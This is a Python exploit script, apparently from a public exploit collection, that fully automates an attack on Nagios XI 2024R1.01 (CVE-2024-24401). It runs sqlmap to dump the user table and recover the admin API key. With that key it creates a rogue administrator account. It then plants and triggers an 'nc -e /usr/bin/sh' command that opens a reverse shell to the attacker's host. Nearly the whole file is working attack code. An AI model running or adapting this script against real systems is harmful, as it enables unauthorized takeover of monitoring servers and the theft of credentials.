· last year · Mar 27, 2024, 02:55 PM
1# Exploit Title: NAGIOS XI SQLI
2# Google Dork: [if applicable]
3# Date: 02/26/2024
4# Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/
5# Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi
6# Software Link: https://github.com/MAWK0235/CVE-2024-24401
7# Version: Nagios XI Version 2024R1.01
8# Tested on: Nagios XI Version 2024R1.01 LINUX
9# CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401
10#
11
12import requests
13import subprocess
14import argparse
15import re
16import urllib3
17import os
18import random
19import string
20from colorama import Fore, Style
21
22urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
23
24
25
26def serviceLogin(user,password):
27 r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False)
28 print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....")
29 match = re.search(r'auth_token": "(.*)"',r.text)
30 if match:
31 token = match.group(1)
32 print(f'{Fore.MAGENTA}[+] Token: ' + token)
33 r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False)
34 cookie = r.headers['Set-Cookie']
35 cookie = cookie.split(',')[0]
36 match = re.search(r'nagiosxi=(.*);', cookie)
37 cookie = match.group(1)
38 print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie)
39 return cookie
40 else:
41 print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}')
42 exit()
43
44def sqlmap(IP,username,password):
45
46 print(f'{Fore.MAGENTA}[+] Starting SQLMAP...')
47 session = requests.session()
48 s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
49 match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
50 nsp = match.group(1)
51 print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
52 data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''}
53 s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
54 print(f"{Fore.MAGENTA}[+] Authenticated as User..")
55 print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
56 s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
57 match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
58 nsp = match.group(1)
59 data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
60 session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
61 print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
62 newPass = "mawk"
63 data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''}
64 session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
65 s= session.get(f'http://{IP}/nagiosxi/')
66 match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
67 nsp = match.group(1)
68 cookie = s.cookies.get('nagiosxi')
69 sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch'
70 #print(sqlmap_command)
71 sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True )
72 try:
73 for line in iter(sqlmap_command_output.stdout.readline, ''):
74 if "| Nagios Administrator |" in line:
75 match = re.search(r"Nagios Administrator \| (.*?) \|", line)
76 if match:
77 adminKey= match.group(1)
78 print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey)
79 return adminKey
80 else:
81 print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}")
82 exit()
83 break
84 print("[-] SQLMAP capture FAILED..")
85 sqlmap_command_output.terminate()
86
87 except KeyboardInterrupt:
88 print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}")
89 sqlmap_command_output.terminate()
90 sqlmap_command_output.communicate()
91 exit()
92
93def createAdmin(IP,adminKey):
94 characters = string.ascii_letters + string.digits
95 random_username = ''.join(random.choice(characters) for i in range(5))
96 random_password = ''.join(random.choice(characters) for i in range(5))
97
98 data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"}
99 r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False)
100 if "success" in r.text:
101 print(f'{Fore.MAGENTA}[+] Admin account created...')
102 return random_username, random_password
103 else:
104 print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}')
105 print(r.text)
106 exit()
107
108def start_HTTP_server():
109 subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
110
111def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT):
112 print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...")
113 session = requests.session()
114 s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
115 match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
116 nsp = match.group(1)
117 print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
118 data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''}
119 s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
120 print(f"{Fore.MAGENTA}[+] Authenticated as admin..")
121 print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
122 s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
123 match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
124 nsp = match.group(1)
125 data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
126 session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
127 print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
128 newAdminPass = adminUsername + adminPassword
129 data = {"page": "/nagiosxi/login.php", "pageopt": "changepass","current_password": adminPassword, "nsp": nsp, "password1": newAdminPass, "password2": newAdminPass, "reporttimesubmitbutton": ''}
130 session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
131 print(f"{Fore.MAGENTA}[+] Creating new command...")
132 data = {"tfName": adminUsername, "tfCommand": f"nc -e /usr/bin/sh {LHOST} {LPORT}", "selCommandType": "1", "chbActive": "1", "cmd": "submit", "mode": "insert", "hidId": "0", "hidName": '', "hidServiceDescription": '', "hostAddress": "127.0.0.1", "exactType": "command", "type": "command", "genericType": "command"}
133 session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?type=command&page=1', data=data)
134 data = {"cmd": '', "continue": ''}
135 start_HTTP_server()
136 print(f"{Fore.MAGENTA}[+] Created command: " + adminUsername)
137 session.post(f'http://{IP}/nagiosxi/includes/components/nagioscorecfg/applyconfig.php?cmd=confirm', data=data)
138 data = {"search": adminUsername}
139 s = session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1', data=data)
140 match = re.search(r"javascript:actionPic\('deactivate','(.*?)','", s.text)
141 if match:
142 commandCID = match.group(1)
143 print(f"{Fore.MAGENTA}[+] Captured Command CID: " + commandCID)
144 s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/?cmd=view&type=service")
145 match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
146 if match:
147 nsp = match.group(1)
148 s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid={commandCID}&nsp={nsp}")
149 os.system("kill -9 $(lsof -t -i:8000)")
150 print(f"{Fore.RED}[+] CHECK UR LISTENER")
151 else:
152 print(f"{Fore.RED}[-] ERROR")
153 else:
154 print(f"{Fore.RED}[-] Failed to capture Command CID..{Style.RESET_ALL}")
155
156
157
158
159if __name__ == '__main__':
160 ascii_art = f"""{Fore.LIGHTRED_EX}
161███╗ ███╗ █████╗ ██╗ ██╗██╗ ██╗ ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗███████╗
162████╗ ████║██╔══██╗██║ ██║██║ ██╔╝ ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝██╔════╝
163██╔████╔██║███████║██║ █╗ ██║█████╔╝ ███████╗██║ ██████╔╝██║██████╔╝ ██║ ███████╗
164██║╚██╔╝██║██╔══██║██║███╗██║██╔═██╗ ╚════██║██║ ██╔══██╗██║██╔═══╝ ██║ ╚════██║
165██║ ╚═╝ ██║██║ ██║╚███╔███╔╝██║ ██╗ ███████║╚██████╗██║ ██║██║██║ ██║ ███████║
166╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚══════╝
167 {Style.RESET_ALL}
168 """
169 print(ascii_art)
170 parser = argparse.ArgumentParser(description="AutoPwn Script for Bizness HTB machine", usage= "sudo Nagios.py <Target IP> <LHOST> <LPORT>")
171 parser.add_argument('IP' ,help= "Target IP ")
172 parser.add_argument('LHOST',help= "Local host")
173 parser.add_argument('LPORT' ,help= "Listening Port")
174
175 args = parser.parse_args()
176 min_required_args = 3
177 if len(vars(args)) != min_required_args:
178 parser.print_usage()
179 exit()
180
181 adminUsername, adminPassword = createAdmin(args.IP, sqlmap(args.IP,input(f"{Fore.MAGENTA}[+] Please insert a non-administrative username: "),input(f"{Fore.MAGENTA}[+] Please insert the password: ")))
182 print(f"{Fore.MAGENTA}[+] Admin Username=" + adminUsername)
183 print(f"{Fore.MAGENTA}[+] Admin Password=" + adminPassword)
184 adminExploit(adminUsername, adminPassword, args.IP,args.LHOST,args.LPORT)
185